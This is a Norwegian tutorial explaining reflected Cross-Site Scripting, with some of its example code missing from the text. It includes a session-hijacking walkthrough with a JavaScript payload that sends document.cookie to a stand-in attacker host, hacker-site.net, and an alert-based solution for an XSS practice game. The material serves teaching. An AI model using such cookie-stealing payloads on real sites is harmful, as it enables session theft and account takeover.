Hva er Cross-Site Scripting?
Cross-Site Scripting (XSS) er en av de mest populære angrepsteknikkene i dag, kjent som Godfather of Attack, og har i mange år vært oppført som den farligste angrepsteknikken for applikasjoner.
Ikke kall det CSS for korte for å unngå forvirring med Cascading Style Sheet-konseptet HTML.
XSS-
teknikk
For å forstå bedre, la oss vurdere følgende eksempel. En nettapplikasjon som tillater utskrift av verdien vi sender inn via URL-en, forutsatt at vi sender inn navnevariabelen Ping-verdien:

Alt er bra så langt, la oss se gjennom html-kildekoden:

Det som er lett å se er at navneverdien vi skrev inn er satt inn i kildekoden. Så det er mulig at det som er importert også kan settes inn. Problemet blir alvorlig hvis verdien som er angitt ikke er en normal streng som ovenfor, men en potensielt farlig kodebit, noe som dette:
Prøv igjen med verdien ovenfor:

Fra dette eksemplet kan vi konkludere med to ting. For det første kan navnevariabelen motta en hvilken som helst inngangsverdi og overføre den til serveren for behandling. For det andre kontrollerte ikke serveren denne inngangsverdien før den returnerte den til nettleseren. Dette fører til at javascript-koden settes inn i kildekoden.
XSS er generelt delt inn i 3 hovedtyper: Reflected, Stored og DOM-basert. I denne artikkelen vil jeg hovedsakelig nevne Reflected XSS-teknikken.
Opptil 75 % av XSS-teknikkene er basert på Reflected XSS. Det kalles reflektert fordi i denne typen utnyttelsesscenarioer må hackeren sende offeret en URL som inneholder ondsinnet kode (vanligvis javascript). Offeret trenger bare å be om denne URL-en, og hackeren vil umiddelbart motta et svar som inneholder ønsket resultat (refleksivitet vist her). I tillegg er det også kjent som førsteordens XSS.
Real-life gruvedrift scenario
Det er mange måter å utnytte Reflected XSS-feilen på, en av de mest kjente måtene er å ta over brukerens økt, og dermed få tilgang til data og få rettighetene deres på nettstedet. .
Detaljer er beskrevet i følgende trinn:

1. Brukeren logger på nettet og antar at en økt er tildelt:
Set-Cookie: sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4
2. På en eller annen måte sender hackeren brukeren URLen:
http://example.com/name=var+i=new+Image;+i.src=”http://hacker-site.net/”%2bdocument.cookie;
Anta at example.com er nettstedet offeret besøker, hacker-site.net er nettstedet opprettet av hackeren
3. Offeret får tilgang til URL-en ovenfor
4. Serveren svarer offeret, sammen med dataene i forespørselen (hackerens javascript-kodebit)
5. Offerets nettleser mottar svaret og kjører javascriptet
6. Det faktiske javascriptet som hackeren opprettet er som følger:
var i=new Image; i.src=”http://hacker-site.net/”+document.cookie;
Kommandolinjen ovenfor sender i hovedsak en forespørsel til hackerens nettsted med parameteren som brukerinformasjonskapselen:
GET /sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 HTTP/1.1Host: hacker-site.net
7. Fra nettstedet ditt vil hackeren fange opp forespørselen ovenfor og vurdere brukerens økt som overtatt. På dette tidspunktet kan hackeren utgi seg for å være offeret og utøve alle rettigheter på nettstedet som offeret har.
Øve på
Google har opprettet en side for å øve på å utnytte XSS-feil her: https://xss-game.appspot.com
Målet med disse utfordringene er at du må injisere skript for å dukke opp en popup. Den første utfordringen er å illustrere den reflekterte teknikken, utnyttelseskoden er ganske enkel:
https://xss-game.appspot.com/level1/frame?query=alert('pwned')
Lykke til!